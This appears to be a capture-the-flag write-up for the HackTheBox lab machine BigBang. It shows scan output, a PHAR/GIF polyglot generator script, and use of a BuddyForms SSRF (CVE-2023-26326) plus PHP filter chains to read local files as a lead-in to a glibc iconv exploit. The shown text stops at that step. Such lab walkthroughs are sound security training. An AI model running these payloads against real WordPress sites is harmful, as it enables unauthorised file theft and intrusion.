HTB: BigBang

BigBang has a WordPress site with the BuddyForms plugin. I’ll find a 2023 CVE that involves uploading a PHAR / GIF polyglot. It doesn’t work, but it does show how to read GIFs, which I’ll turn to the local system. Then using a PHP-filter-based tool I’ll abuse this to read arbitrary files. I’ll use that to exploit a 2024 CVE in Glibc to get RCE. I’ll find WordPress config creds to pivot to the next user. The next user has access to a Grafana instance. I’ll get their hash from the DB and crack it to escalate again. This user has access to an Android APK. I’ll reverse it to understand the API and get an auth token, and find command injection to get execution as root.
Box Info
Name | BigBang ![]() Play on HackTheBox |
---|---|
Release Date | 25 Jan 2025 |
Retire Date | 03 May 2025 |
OS | Linux ![]() |
Base Points | Hard [40] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
04:14:41 |
![]() |
06:16:11 |
Creators |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.52
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-29 21:42 EST
Nmap scan report for 10.10.11.52
Host is up (0.086s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.52
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-29 21:43 EST
Nmap scan report for 10.10.11.52
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds
Looking at the package versions, the OpenSSH version suggests Ubuntu 22.04 jammy, but the Apache version implies Debian bullsee or bookworm. Worth a guess that at least one of these is a container.
The website is redirecting to blog.bigbang.htb
. Running ffuf
to look for other subdomains returns only blog
, so I’ll add that and the base domain to my /etc/hosts
file:
10.10.11.52 bigbang.htb blog.bigbang.htb
blog.bigbang.htb - TCP 80
Site
Visiting the IP or bigbang.htb
just redirects to blog.bigbang.htb
, which is a site for a “physics university”:
There is a form to submit comments, but it POSTs data to /
in a way that makes it look not implemented. None of the other links go anywhere.
Tech Stack
The page footer claims a WordPress site:

The form claims to be generated by a WordPress plugin, BuddyForms:

The HTTP response headers for the GET request for /
show Apache and PHP:
HTTP/1.1 200 OK
Date: Thu, 30 Jan 2025 02:54:38 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.2
Link: <http://blog.bigbang.htb/index.php?rest_route=/>; rel="https://api.w.org/"
Vary: Accept-Encoding
Content-Length: 217392
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
There’s also an unusual Link
header. The format of this header is defined here. The 404 page is the default Apache 404:

WPScan
I’ll skip directory brute force and run wpscan against the site. I’ve signed up for a free researcher account and have my token stored in ~/.wpscan/scan.yml
.
oxdf@hacky$ wpscan --url http://blog.bigbang.htb -e ap,u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://blog.bigbang.htb/ [10.10.11.52]
[+] Started: Thu Jan 30 07:31:07 2025
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.bigbang.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
|
| [!] 3 vulnerabilities identified:
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
[+] WordPress theme in use: twentytwentyfour
| Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.3
| [!] Directory listing is enabled
| Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2025-01-30T02:58:00.000Z
| [!] The version is out of date, the latest version is 2.8.15
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 11 vulnerabilities identified:
|
| [!] Title: BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization
| Fixed in: 2.7.8
| References:
| - https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26326
|
| [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
| Fixed in: 2.8.3
| References:
| - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
|
| [!] Title: BuddyForms < 2.8.2 - Contributor+ Stored XSS
| Fixed in: 2.8.2
| References:
| - https://wpscan.com/vulnerability/7ebb0593-3c90-404c-9966-f87690395be9
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25981
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/3eb25546-5aa3-4e58-b563-635ecdb21097
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1158
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/198cb3bb-73fe-45ae-b8e0-b7ee8dda9547
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Deletion
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/b6e2f281-073e-497f-898b-23d6220b20c7
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1170
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/380c646c-fd95-408a-89eb-3e646768bbc5
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Upload
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/71e4f4c1-20ba-42ac-8ac7-e798c4bc611d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1169
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/6d14a90d-65ea-45da-956b-0735e2e2b538
|
| [!] Title: BuddyForms < 2.8.6 - Reflected Cross-Site Scripting via page
| Fixed in: 2.8.6
| References:
| - https://wpscan.com/vulnerability/72c096b3-55bd-4614-8029-69900db79416
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-30198
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/701d6bee-6eb2-4497-bf54-fbc384d9d2e5
|
| [!] Title: BuddyForms < 2.8.9 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery
| Fixed in: 2.8.9
| References:
| - https://wpscan.com/vulnerability/3f8082a0-b4b2-4068-b529-92662d9be675
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32830
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/23d762e9-d43f-4520-a6f1-c920417a2436
|
| [!] Title: BuddyForms < 2.8.10 - Email Verification Bypass due to Insufficient Randomness
| Fixed in: 2.8.10
| References:
| - https://wpscan.com/vulnerability/aa238cd4-4329-4891-b4ff-8268a5e18ae2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5149
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/a5c8d361-698b-4abd-bcdd-0361d3fd10c5
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.12 - Authenticated (Contributor+) Privilege Escalation
| Fixed in: 2.8.12
| References:
| - https://wpscan.com/vulnerability/ca0fa099-ad8a-451f-8bb3-2c68def0ac6f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8246
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/40760f60-b81a-447b-a2c8-83c7666ce410
|
| [!] Title: BuddyForms < 2.8.13 - Authenticated (Editor+) Stored Cross-Site Scripting
| Fixed in: 2.8.13
| References:
| - https://wpscan.com/vulnerability/61885f61-bd62-4530-abe3-56f89bcdd8e4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47377
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/ac8a06f5-4560-401c-b762-5422b624ba84
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:02 <================================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:02
[i] User(s) Identified:
[+] root
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] shawking
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 3
| Requests Remaining: 22
[+] Finished: Thu Jan 30 07:31:34 2025
[+] Requests Done: 19
[+] Cached Requests: 48
[+] Data Sent: 5.054 KB
[+] Data Received: 30.516 KB
[+] Memory used: 257.746 MB
[+] Elapsed time: 00:00:27
There’s a lot there. The WordPress version seems to have three identified vulnerabilities at this time:
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
|
| [!] 3 vulnerabilities identified:
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
| Fixed in: 6.5.5
| References:
| - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
I’ll hold off on the two XSS for now. The path traversal is authenticated and only on Windows.
There are two usernames identified:
[i] User(s) Identified:
[+] root
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] shawking
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Under plugins, BuddyForms version 2.7.7 is identified, with a bunch of vulnerabilities:
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2025-01-30T02:58:00.000Z
| [!] The version is out of date, the latest version is 2.8.15
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 11 vulnerabilities identified:
|
| [!] Title: BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization
| Fixed in: 2.7.8
| References:
| - https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26326
|
| [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
| Fixed in: 2.8.3
| References:
| - https://wpscan.com/vulnerability/7fd1ad0e-9db9-47b7-9966-d3f5a8771571
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
|
| [!] Title: BuddyForms < 2.8.2 - Contributor+ Stored XSS
| Fixed in: 2.8.2
| References:
| - https://wpscan.com/vulnerability/7ebb0593-3c90-404c-9966-f87690395be9
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25981
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/3eb25546-5aa3-4e58-b563-635ecdb21097
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1158
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/198cb3bb-73fe-45ae-b8e0-b7ee8dda9547
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Deletion
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/b6e2f281-073e-497f-898b-23d6220b20c7
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1170
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/380c646c-fd95-408a-89eb-3e646768bbc5
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.8 - Missing Authorization to Unauthenticated Media Upload
| Fixed in: 2.8.8
| References:
| - https://wpscan.com/vulnerability/71e4f4c1-20ba-42ac-8ac7-e798c4bc611d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1169
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/6d14a90d-65ea-45da-956b-0735e2e2b538
|
| [!] Title: BuddyForms < 2.8.6 - Reflected Cross-Site Scripting via page
| Fixed in: 2.8.6
| References:
| - https://wpscan.com/vulnerability/72c096b3-55bd-4614-8029-69900db79416
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-30198
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/701d6bee-6eb2-4497-bf54-fbc384d9d2e5
|
| [!] Title: BuddyForms < 2.8.9 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery
| Fixed in: 2.8.9
| References:
| - https://wpscan.com/vulnerability/3f8082a0-b4b2-4068-b529-92662d9be675
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32830
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/23d762e9-d43f-4520-a6f1-c920417a2436
|
| [!] Title: BuddyForms < 2.8.10 - Email Verification Bypass due to Insufficient Randomness
| Fixed in: 2.8.10
| References:
| - https://wpscan.com/vulnerability/aa238cd4-4329-4891-b4ff-8268a5e18ae2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5149
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/a5c8d361-698b-4abd-bcdd-0361d3fd10c5
|
| [!] Title: Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) < 2.8.12 - Authenticated (Contributor+) Privilege Escalation
| Fixed in: 2.8.12
| References:
| - https://wpscan.com/vulnerability/ca0fa099-ad8a-451f-8bb3-2c68def0ac6f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8246
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/40760f60-b81a-447b-a2c8-83c7666ce410
|
| [!] Title: BuddyForms < 2.8.13 - Authenticated (Editor+) Stored Cross-Site Scripting
| Fixed in: 2.8.13
| References:
| - https://wpscan.com/vulnerability/61885f61-bd62-4530-abe3-56f89bcdd8e4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-47377
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/ac8a06f5-4560-401c-b762-5422b624ba84
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
There are a bunch of vulnerabilities in this plugin. The top one is most interesting, as it’s a PHAR vulnerability which likely means RCE.
Shell as www-data in container
Preview
This exploit involves using pieces from one vulnerability to enable another, and it is a bit complicated, so I’m going to show how it all fits together at the start of this section. I’ll still walk through each bit showing how to find things, but this summary will help make it clear where the path is leading. I’ll blur this section to not spoil for anyone working alongside this post.
flowchart TD;
CVE1[CVE-2023-26326]
CVE2[CVE-2024-2961]
CVE1 --> UPLOAD(Upload GIF);
UPLOAD --> PHAR(PHAR);
UPLOAD --> SSRF(SSRF);
UPLOAD --wrapwrap--> READ(File Read);
PHAR --x RCE(RCE);
READ --> BOF(Glibc Buffer Overflow);
CVE2 --> BOF;
BOF --> RCE;
linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
CVE-2023-26326 is discussed as an RCE vulnerability via PHAR uploads, but the PHAR part won’t work on modern PHP. But the mechanism for uploading a remote file is an SSRF, and can be leveraged into local file read. Once I have local file read, I can exploit CVE-2024-2961, a buffer overflow in GLIBC where I need to be able to read files from the box in order to build a payload.
Failed Upload / PHAR RCE
CVE-2023-26326 Background
CVE-2023-26326 is described as:
The BuddyForms WordPress plugin, in versions prior to 2.7.8, was affected by an unauthenticated insecure deserialization issue. An unauthenticated attacker could leverage this issue to call files using a PHAR wrapper that will deserialize the data and call arbitrary PHP Objects that can be used to perform a variety of malicious actions granted a POP chain is also present.
There’s a way to get a serialized PHAR object onto the server and then reference it. This post from Tenable TechBlog goes into much more detail. They summary the attack path in three steps:
- Create a malicious phar file by making it look like an image.
- Send the malicious phar file on the server
- Call the file with the ‘phar://’ wrapper.
This exploit is using a PHAR file, which is a very flexible format allowing for many polyglots other formats. In Resource, Zipping, and UpDown, I showed how to upload Zip archives and access files within them using the phar://
wrapper.
Unfortunately for me, the same strategy won’t work to get full RCE here, but it will provide some pieces that I can use.
SSRF / File Upload
The POC in the post shows making a POST request to /wp-admin/admin-ajax.php
passing a url
. I’ll send a request to Burp Repeater and replace most of it with what’s in the POC image:

If I send this without having an example.gif
hosted on my Python webserver (or without the webserver running, which adds delay as the application tries to connect), it returns showing that the file type is not allowed:

That’s because an empty file / 404 page doesn’t match the magic bytes of the expected GIF file. There is a request to my webserver, so that is an SSRF:
10.10.11.52 - - [30/Jan/2025 14:25:45] code 404, message File not found
10.10.11.52 - - [30/Jan/2025 14:25:45] "GET /example.gif HTTP/1.1" 404 -
If I grab a valid GIF image and host it, then the response shows that it uploads:

It does seem to renamed the image into a PNG. I can find the image at the given path (along with another previous upload, 1.png
):

The image is not reformatted, but still a raw GIF (despite the new extension):
oxdf@hacky$ curl http://blog.bigbang.htb/wp-content/uploads/2025/01/1-1.png -o- -s | xxd
00000000: 4749 4638 3961 1300 1300 8001 0000 0000 GIF89a..........
00000010: eeee ee21 f904 0100 0001 002c 0000 0000 ...!.......,....
00000020: 1300 1300 0002 158c 8fa9 cbed 0fa3 9cb4 ................
00000030: 2e80 2906 3adb 0f86 e248 4205 003b ..).:....HB..;
Image Type Bypass
In the POC post, the author talks about having a plugin installed that has an Evil
class, their deserialization payload uses the function in Evil
to get RCE. This approach isn’t super realistic, and is assuming that there will be another set of gadgets I can find. I can try that payload to see if it might work. I’ll create evil.php
from the post:
<?php
class Evil{
public function __wakeup() : void {
die("Arbitrary Deserialization");
}
}
//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();
And run it:
oxdf@hacky$ php --define phar.readonly=0 evil.php
oxdf@hacky$ file evil.phar
evil.phar: GIF image data, version 89a, 15370 x 28735
The resulting file is a GIF image by MIME type, but it’s also got the serialized PHP payload:
oxdf@hacky$ xxd evil.phar
00000000: 4749 4638 3961 0a3c 3f70 6870 205f 5f48 GIF89a.<?php __H
00000010: 414c 545f 434f 4d50 494c 4552 2829 3b20 ALT_COMPILER();
00000020: 3f3e 0d0a 4500 0000 0100 0000 1100 0000 ?>..E...........
00000030: 0100 0000 0000 0f00 0000 4f3a 343a 2245 ..........O:4:"E
00000040: 7669 6c22 3a30 3a7b 7d08 0000 0074 6573 vil":0:{}....tes
00000050: 742e 7478 7404 0000 0000 0000 0004 0000 t.txt...........
00000060: 00c7 a78b 3bb4 0100 0000 0000 0074 6578 ....;........tex
00000070: 7407 3922 d43a e276 a40f 032d dc71 9a28 t.9".:.v...-.q.(
00000080: e590 89d3 1654 ab2a dadf 331d 362a 9dd4 .....T.*..3.6*..
00000090: 5b03 0000 0047 424d 42 [....GBMB
If I request evil.phar
using the same upload as above, it works:

It is saving it as a PNG file, but the trick from here is to use the phar://
filter to load it as PHP (without the extension mattering) and go from there.
Failure to Weaponize
Typically to weaponize a deserialization attack against PHP, I would use phpggc to make a gadget from a framework installed on the target. It doesn’t have any WordPress gadgets for version 6.5.4:
oxdf@hacky$ ./phpggc -l wordpress
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE: Function Call __toString *
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE: Function Call __toString *
WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE: Function Call __toString *
WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE: Function Call __destruct *
WordPress/RCE1 <= 6.3.1 RCE: Function Call __toString *
WordPress/RCE2 6.4.0 <= 6.4.1 RCE: Function Call __destruct
Even if it did, I think there were changes in PHP8 that would block these kinds of attacks anyway. A post I’ll come to in the next section says:
the target runs on PHP 8+, so it is not vulnerable to PHAR attacks.
I think it’s talking about this proposal, “PHP RFC: Don’t automatically unserialize Phar metadata outside getMetadata()”, which includes:
Any side effects from
__wakeup()
,__destruct()
, etc. that were triggered during/after unserialization of metadata when the phar is loaded will stop happening, and will only happen whengetMetadata()
is directly called.
That is an end to this line of attack.
glibc Buffer Overflow
CVE-2024-2961
This post from Ambionics Security goes into a ton of detail about how a researcher found a 24 year old buffer overflow in the iconv
API in glibc by fuzzing PHP filters. The bug was impossible to actually exploit, except via PHP! The post goes into a ton of detail, but ends with an example using it with CVE-2023-26326 in BuddyForms v2.7.7:

That’s basically the exact same setup as BigBang (even with the same image on the website).
The vulnerability can be triggered by sending a series of PHP filters, but to calculate the data necessary for remote code execution, it must know potions of memory available in /proc/self/maps
. There is a POC skeleton that can be updated to reflect how to upload files and then access them, and then it will perform the rest of the exploit.
Read GIF with file://
To make this work, I need to be able to read files. I have CVE-2023-26326 which allows me to give WordPress a URL, and if it is a GIF, it copies that to the WordPress uploads folder.
I want to find a .gif
file in the BigBang container to see if I can read it. It’s easy enough to spin up a Docker container from the php family. Since WordPress runs on Apache, there’s a container of the name/tag php:<version>-apache
. I’ll run docker run -d php:8.3.2-apache
, and then get a shell in it:
oxdf@hacky$ docker run -d php:8.3.2-apache
Unable to find image 'php:8.3.2-apache' locally
8.3.2-apache: Pulling from library/php
e1caac4eb9d2: Pull complete
8c386db9cb1d: Pull complete
bef1b237c949: Pull complete
56c66cb68b0f: Pull complete
9c790c1c009d: Pull complete
e055748d0b38: Pull complete
5a9d72b3b895: Pull complete
8093e006a474: Pull complete
fc2821a08332: Pull complete
5d4588c42fab: Pull complete
ffdf939f094e: Pull complete
6438981ec14c: Pull complete
5c3a90424fc9: Pull complete
Digest: sha256:4c52430c0aa88478df7ed7112970824d67fbeffae9b12ea0d8729ef1bb41b44e
Status: Downloaded newer image for php:8.3.2-apache
5323f1453a8b2e3857a1053e2cb39ffe7423f0a234366bcaa72b26103a9a66a8
oxdf@hacky$ docker exec -it 5323f1453a8b2e3857a1053e2cb39ffe7423f0a234366bcaa72b26103a9a66a8 bash
root@5323f1453a8b:/var/www/html#
I’ll get the path of a GIF:
root@5323f1453a8b:/var/www/html# find / -name '*.gif' 2>/dev/null | head
/usr/share/apache2/icons/pie7.gif
/usr/share/apache2/icons/tar.gif
/usr/share/apache2/icons/link.gif
/usr/share/apache2/icons/forward.gif
/usr/share/apache2/icons/transfer.gif
/usr/share/apache2/icons/broken.gif
/usr/share/apache2/icons/alert.red.gif
/usr/share/apache2/icons/burst.gif
/usr/share/apache2/icons/pie1.gif
/usr/share/apache2/icons/ball.red.gif

It works! That reads a file from the host system and copies it onto the webserver.
Read With wrapwrap
Knowing that works, I’ll try to read /etc/hostname
:

It’s failing because the magic bytes for the file don’t match that of a GIF.
I can try things like filters to base64
, but unless the resulting data starts with “GIF87a” or “GIF89a” (see a list of file signatures), it’s going to return that same error.
The same author that found the buffer overflow in glibc had earlier written a tool named wrapwrap that uses PHP filters to prefix data. In the example, if data is fetched and then parsed as JSON, you can prefix it with {"<key>": "
and a suffix of "}
to get the data to process correctly. Here, I can prepend the GIF magic bytes.
I’ll use wrapwrap
to append the six-byte magic to the front of /etc/hosts
:
